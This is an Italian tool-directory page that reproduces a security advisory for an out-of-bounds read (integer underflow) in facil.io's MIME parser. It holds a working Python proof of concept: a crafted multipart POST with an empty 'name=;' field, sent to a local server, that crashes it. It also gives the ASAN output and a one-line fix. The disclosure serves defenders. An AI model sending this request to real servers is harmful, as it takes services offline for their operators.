Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/theopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubtheopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash

CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
23 giorni faNon ancora revisionato

Divulgazione di sicurezza: lettura fuori dai limiti nel parser MIME di facil.io causa il crash del server

ID CVE assegnato CVE-2026-66729

Prodotto: facil.io
Versioni interessate: facil.io >= 0.6.0 (tutte le 0.6.x, tutte le 0.7.x, master); introdotto quando il parser MIME è stato aggiunto nella 0.6.0
Componente: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (Underflow di intero), CWE-125 (Lettura fuori dai limiti)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Ricercatore: Theodosis Paidakis


Sommario

Un underflow uint32_t nel parser del corpo MIME multipart causa una lettura fuori dai limiti quando un header Content-Disposition contiene un nome di campo vuoto (name=;). Quando name_len è zero, name[name_len - 1] fa wrap a name[0xFFFFFFFF], leggendo circa 4 GB oltre il puntatore name. Questo genera un fault e arresta il processo del server. Una singola richiesta POST non autenticata è sufficiente.


Causa principale

lib/facil/http/parsers/http_mime_parser.h, righe 235-241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len è dichiarato come uint32_t. Con l'input name=;, memchr trova ; nella stessa posizione di name, quindi start - name = 0. Sottraendo 1 da un uint32_t pari a zero si ottiene un wrap a 0xFFFFFFFF. L'espressione name[0xFFFFFFFF] calcola name_ptr + 4294967295, che è molto al di fuori di qualsiasi regione mappata.

Il controllo alla riga 236 (name[name_len - 1] == '\r') nell'altro ramo segue lo stesso schema, ma lì name_len è calcolato come end - name e in pratica non è zero.


Prova di concetto

Avviare il server, quindi eseguire:

root@kitploit:~
# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

Output ASAN (confermato):

root@kitploit:~
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

Impatto

Una singola richiesta causa il crash del processo worker. Nelle distribuzioni multi-worker muore solo il worker che gestisce la richiesta; il master lo fa ripartire. In modalità single-worker il server va offline. Il fault di lettura avviene prima che i dati vengano restituiti, quindi non è dimostrata una divulgazione di informazioni.


Correzione

lib/facil/http/parsers/http_mime_parser.h, riga 241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;
Scarica lo strumento